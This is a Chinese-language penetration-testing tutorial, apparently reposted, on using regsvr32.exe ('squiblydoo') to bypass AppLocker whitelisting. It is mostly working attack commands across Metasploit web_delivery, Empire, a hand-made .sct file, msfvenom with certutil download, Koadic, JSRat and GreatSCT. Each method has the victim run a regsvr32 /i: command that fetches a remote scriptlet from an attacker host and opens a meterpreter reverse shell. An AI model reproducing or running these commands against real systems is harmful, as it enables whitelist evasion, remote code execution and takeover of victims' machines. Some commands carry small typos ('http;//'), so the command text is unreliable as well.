使用regsrv32.exe绕过应用程序白名单

撰写本文的目的是演示将AppLocker旁路列入白名单的最常见和熟悉的技术。众所周知,出于安全原因,系统管理员添加了组策略来限制本地用户执行应用。在上一篇文章中,我们讨论了“ Windows Applocker策略-入门指南 ”,因为它们定义了应用程序控制策略的AppLocker规则以及如何使用它们。但是今天,您将学习如何使用regsvr32.exe绕过Applocker策略。

目录表
  • regsvr简介
  • regsvr的工作
  • 多种攻击regsvr的方法
介绍

Regsvr32代表Microsoft注册服务器。这是Windows的命令行实用工具。尽管regsvr32有时会引起问题;它是Windows系统文件中的重要文件。该文件位于C: Windows的子文件夹中。该文件能够观察,跟踪和影响其他程序。它主要用于在Windows文件扩展名中注册和注销程序,因为它是.exe,并且其过程广泛地协助OLE(对象链接和嵌入),DLL(数据链接库)和OCX(ActiveX控制模块)。所述过程在后台运行,可以在任务管理器中看到。它是Microsoft的受信任文件之一。

加工

在regsvr32中注册DLL文件时,与regsvr32相关的程序的信息会添加到Windows中。然后访问这些防御措施,以了解程序数据在何处以及如何与之交互。在注册DLL文件时,信息将添加到目录的中央,以便Windows可以使用它。这些文件的整个路径从字面上具有可执行代码,由于这些文件,Windows可以调用特定功能。这些文件非常方便,因为在更新软件时,这些文件会自动调用更新的版本。简而言之,它有助于避免软件的版本问题。通常,除了注册和注销DLL文件外,通常不使用此文件。

RegSvr32.exe具有以下命令行选项:

语法:Regsvr32 [/ s] [/ u] [/ n] [/ i [:cmdline]] <dllname>

/ u –注销服务器
/ i –调用DllInstall,并向其传递可选的[cmdline];与/ u一起使用时,它会调用dll卸载
/ n –不要调用DllRegisterServer;此选项必须与/ i
/ s一起使用-静默;不显示消息框

要了解更多信息,请访问此处://support.microsoft.com/zh-cn/help/249873/how-to-use-the-regsvr32-tool-and-troubleshoot-regsvr32-error-messages

多种方法
  • Web delivery
  • Empire
  • 手册
  • Msfvenom
  • Koadic
  • JSRat
  • GreatSCT
Web Delivery

该模块可快速启动提供有效负载的Web服务器。提供的命令将允许有效负载下载并执行。它将通过指定的脚本语言解释器执行此操作,或者通过regsvr32.exe进行“ squibledoo”操作以绕过应用程序白名单。该模块的主要目的是在攻击者必须手动键入命令时快速在目标计算机上建立会话:例如,命令注入。

Regsvr32使用“ squablydoo”技术绕过应用程序白名单。已签名的Microsoft二进制文件Regsvr32能够请求一个.sct文件,然后在其中执行包含的PowerShell命令。这两个Web请求(即.sct文件和PowerShell下载/执行)都可以在同一端口上发生。“ PSH(二进制)”将文件写入磁盘,从而允许自定义二进制文件被提供以下载/执行。

use exploit/multi/script/web_delivery

msf exploit (web_delivery)>set target 3

msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp

msf exploit (web_delivery)> set lhost 192.168.1.109

msf exploit (web_delivery)>set srvhost 192.168.1.109

msf exploit (web_delivery)>exploit

复制下图中显示的突出显示的文本:

一旦漏洞利用开始运行;您将为您创建一个URL。在受害者计算机的命令提示符中运行该URL,如下所示:

regsvr32 /s /n /u /i://http://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll

在命令后按Enter键后,即可进行会话。键入“ sysinfo”作为PC的信息,如下图所示:

PowerShell Empire

对于下一个regsvr Attack方法,我们将使用empire。Empire是一个开发后的框架。到现在为止,我们必须将.sct大头钉与Metasploit配对,但是在这种方法中,我们将使用empire框架。它仅仅是基于python的PowerShell Windows代理,因此非常有用。Empire是通过开发@ harmj0y,  @sixdub,  @ enigma0x3,  rvrsh3ll,  @killswitch_gui和  @xorrior。您可以从Empire下载此框架

要获得《Empire》的基本指南,请访问我们介绍Empire的文章:https//www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

Empire框架启动后,键入listener来检查是否有任何活动的监听器。正如您在下图中所看到的,没有活动的侦听器。因此,要设置一个侦听器,请输入:

uselistner http

set Host http://192.168.1.109

execute

使用以上命令,您将拥有一个活动的侦听器。键入回来以退出侦听器,以便您可以启动PowerShell。

离开侦听器后,您需要使用漏洞利用来创建恶意文件。Empire中的登台者是一段代码,可让我们的恶意代码通过受感染主机上的代理运行。要创建漏洞利用程序,我们将不得不使用stager。因此,键入:

usestager windows/launcher_sct

set listener http

execute

执行完命令后,usestager将在/ tmp中创建launcher.sct。现在要获取会话,请输入以下内容以启动python服务器:

python -m SimpleHTTPServer 8080

服务器启动后,剩下的唯一步骤就是在受害者的PC中执行我们的恶意软件。为此,请在命令提示符下键入以下命令:

regsvr /s /n /u /i://192.168.1.109:8080/tmp/launcher.sct scrobj.dll

在上面的命令中,我们使用了8080端口,因为我们的python服务器在同一端口上被激活。

按照说明执行上述操作后,您将收到一个会话。要访问会话,请输入:

interact 9ATUX4M7

9ATUX4M7:是代理/会话名称。会话之间会有所不同。

将PowerShell代码注入sct文件(手动方法)

在漏洞利用的帮助下,我们的下一个方法手册。我们将使用的漏洞利用将帮助我们创建Powershell代码。因此,让我们首先创建我们的powershell,然后转到kali的终端并输入

运行此漏洞利用后,它将在终端屏幕上向您显示powershell代码,如下图所示:

use exploit/multi/script/web_delivery

msf exploit (web_delivery)>set target 2

msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp

msf exploit (web_delivery)> set lhost 192.168.1.109

msf exploit (web_delivery)>set srvhost 192.168.1.109

msf exploit (web_delivery)>exploit

复制下面显示的突出显示的文本:

Regsvr32是一个命令行实用程序,用于注册和注销OLE控件,例如Windows注册表中的DLL和ActiveX控件。Windows XP和更高版本的Windows的%systemroot% System32文件夹中安装了Regsvr32.exe。

现在,我们需要创建一个.sct文件,以便运行攻击。我们在线找到了一个脚本来创建.sct文件。您可以通过单击此处访问脚本的链接。该脚本如下图所示:

复制由web_delivery创建的PowerShell代码,并将其粘贴到上面的脚本中,如下图所示,该脚本显示“ calc.exe”,然后最后以.sct扩展名保存。

然后像以前一样,运行以下命令以在受害者的PC中使用regsvr32.exe执行.sct文件:

regsvr32 /u /n /s /i://192.168.1.109/1.sct scrobj.dll

一旦执行以上命令,您将通过web_delivery进行会话。要访问会话,请输入“ sessions 1”和“ info”以获取有关系统的基本信息。

Msfvenom

我们的下一个方法是使用msfvenom。通过这种方法,我们将创建两个.sct文件,一个用于下载恶意软件,另一个用于执行该文件。但是首先让我们开始使用msfvenom并针对该类型:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe

使用以下命令启动python服务器:

python -m SimpleHTTPServer 80

同时,在前一个方法中使用的同一脚本中,注入certutil.exe命令以从远程服务器调用shell.exe文件。因此,而不是“ calc .exe”,请编写以下代码,然后再次以.sct扩展名保存文件:

certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe

我们在这里使用了certutil,因为它允许在Windows中下载文件,并将文件另存为3.sct。

现在,使用以下命令运行以上脚本:

regsvr32 /u /n /s /i:http;//192.168.1.109/3.sct scrobj.dll

我们将创建另一个文件来执行我们先前的文件“ shell.exe”。为此,再次使用相同的脚本,并将其写为“ calc.exe”;因此写:

cmd /k cd c:Users aj & shell.exe

我们已经将脚本保存为4.sct,然后使用以下命令再次运行该脚本:

regsvr32 /u /n /s /i:http;//192.168.1.109/4.sct scrobj.dll

同时,也启动多重处理程序以获取会话。因此,输入:

use exploit/multi/handler

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 192.168.1.109

msf exploit(multi/handler) > set lport 1234

msf exploit(multi/handler) > exploit

在受害者的PC上运行该命令后,您将进行一个抄表会话。

Koadic

我们的下一个方法是使用Koadic。Koadic是Windows开发后的rootkit,与其他渗透测试工具(例如Meterpreter和Powershell Empire)相似。要了解有关Koadic的更多信息,请通过以下链接阅读有关该框架的详细文章:https ://www.hackingarticles.in/koadic-com-command-control-framework

当koadic启动并运行后,键入:

use stager/js/regsvr

set srvhost 192.168.1.107

run

此后,在受害者的PC的命令提示符下键入以下内容:

regsvr32 /u /n /s /i:http;//192.168.1.107:9998/uWBjv scrobj.dll

一旦运行了上面的命令,您将有一个会话。要访问会话,请输入:

zombies 0

JSRat

攻击regsvr32的下一种方法是使用JSRat,您可以从GitHub下载它。这是另一个非常小的命令和控制框架,就像koadic和Powershell Empire一样,仅用于rundll32.exe和regsvr32.exe生成恶意任务。JSRat将创建一个Web服务器,在该Web服务器上,我们将找到.sct文件。要使用此方法,请输入:

./JSRat.py -I 192.168.1.107 -p 4444

运行以上命令将启动Web服务器。

如下所示在浏览器中打开它。在这里,您将找到在受害者的PC上运行所需的.sct文件。

收到命令后,在运行窗口中运行该命令,如下图所示:

在“运行”窗口中执行命令后,您将拥有一个会话,如下所示:

GreatSCT

GreatSCT是一种工具,可让您使用Metasploit漏洞,并绕过大多数防病毒软件。GreatSCT当前在@ConsciousHacker的支持下。您可以从下载

https://github.com/GreatSCT/GreatSCT

下载并运行后,键入以下命令以访问模块:

use Bypass

然后键入“列表”以获取模块列表。

模块列表将如下图所示:

从模块列表中选择以下内容:

use regsvr/shellcode_iject/base64_migrate.py

generate

在上述命令之后,键入1以选择MSFVenom

然后它将要求您提供有效载荷。只需按Enter键,因为它将Windows / meterpreter / reverse_tcp作为默认有效载荷,而这正是我们需要的有效载荷。在提供了像这样的IP之后,我们给了192.168.1.107和给定的端口(任意),如下图所示,我们给lport提供了2345

提供详细信息后,它将询问您恶意软件的名称。默认情况下,它将设置名称“ payload”,因此您可以输入名称或仅按Enter键即可使用默认设置。

就像按Enter一样,它将生成两个文件。其中一个将是资源文件,其他将是.sct文件。

现在,首先,通过键入以下内容在/ usr / share / greatsct-output中启动python的服务器:

python -m SimpleHTTPServer 80

现在,在受害者计算机的运行窗口中执行.sct文件,如下所示。

同时,使用资源文件启动多重/处理程序。为此,请输入:

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

并且您有一个抄表会话。

结论

使用regsvr32进行会话是一种不寻常的方法,但这非常重要。因此,上述方法使用不同的工具和软件来允许我们执行此攻击。

原文地址:https://www.cnblogs.com/sup3rman/p/13743872.html